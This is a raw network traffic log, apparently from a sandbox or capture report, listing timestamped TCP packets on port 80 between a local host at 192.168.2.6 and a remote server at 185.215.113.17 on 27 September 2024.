Sep 27, 2024 16:18:28.273363113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273363113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273386002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356409073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356425047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356436968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356497049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356509924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356512070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356520891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356533051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356534958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356548071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356581926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356581926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356581926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356584072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356595039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356606007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356617928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356620073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356653929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356656075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356664896 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356667995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.356699944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.356731892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.357356071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357403040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357414007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357422113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.357459068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.357742071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357753038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357763052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357784033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357809067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.357836962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357848883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357858896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.357888937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.357888937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.357913971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358180046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358191013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358202934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358212948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358223915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358258009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358258009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358261108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358273983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358289957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358323097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358434916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358445883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358455896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358465910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358500004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358504057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358504057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358510971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358520985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358536959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358547926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358556032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358557940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358570099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358580112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358620882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358620882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358648062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358767033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358781099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358838081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358849049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358855009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358855009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358866930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358877897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358889103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358899117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358916044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358941078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.358979940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.358990908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359003067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359013081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359024048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359025955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359035015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359069109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359069109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359081030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359091997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359108925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359118938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359127045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359136105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359174013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359174013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359199047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359209061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359246969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359288931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359544992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359606981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359617949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359652042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359684944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359688997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359699011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359705925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359714985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359720945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359733105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359738111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.359750986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359776974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.359796047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360027075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360038042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360049009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360105038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360105038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360119104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360129118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360137939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360150099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360167980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360203981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360271931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360284090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360295057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360306025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360318899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360328913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360337973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360337973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360346079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360358000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360388994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360388994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360430002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360440969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360451937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360466957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360502958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360502958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360532999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360543966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360554934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360564947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360580921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360580921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360580921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360591888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360601902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360601902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360613108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360622883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360641003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360641003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360675097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360805988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360816002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360826015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360837936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360848904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360860109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360862970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360871077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360881090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360892057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360903025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.360920906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360920906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360920906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.360938072 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.444974899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.444991112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445008993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445023060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445049047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445054054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445060968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445072889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445085049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445096970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445108891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445112944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445112944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445121050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445126057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445158005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445169926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445169926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445174932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445188046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445198059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445209980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.445223093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.445290089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.447175026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447186947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447201014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447221994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447233915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447241068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.447243929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447293043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.447293043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.447299957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447313070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.447339058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.447402954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448306084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448318005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448323011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448380947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448384047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448390007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448400974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448414087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448424101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448436022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448446989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448457003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448462963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448472977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448482990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448493958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448494911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448504925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448520899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448522091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448543072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448553085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448554993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448565960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448575020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448577881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.448628902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.448628902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449424982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449444056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449454069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449459076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449512959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449512959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449712992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449767113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449770927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449781895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449806929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449816942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449827909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449845076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449862003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449862003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449872971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449883938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449891090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449893951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449904919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449917078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449928045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.449942112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449990034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.449990034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.451132059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451149940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451159954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451169968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451188087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451198101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451198101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.451204062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451210022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451241970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.451241970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.451268911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.451942921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451952934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451963902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.451991081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452001095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452012062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452065945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452065945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452069998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452107906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452119112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452145100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452156067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452158928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452188969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452195883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452205896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452207088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452218056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452228069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452239037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452250004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452281952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452281952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.452867985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452938080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452946901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452956915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.452990055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453001022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453003883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453011990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453030109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453041077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453047991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453049898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453049898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453052044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453094006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453099966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453111887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453119040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453120947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453140020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453147888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453159094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453170061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453174114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453178883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.453197002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.453197956 CEST	80	49613	185.215.113.17	192.168.2.6
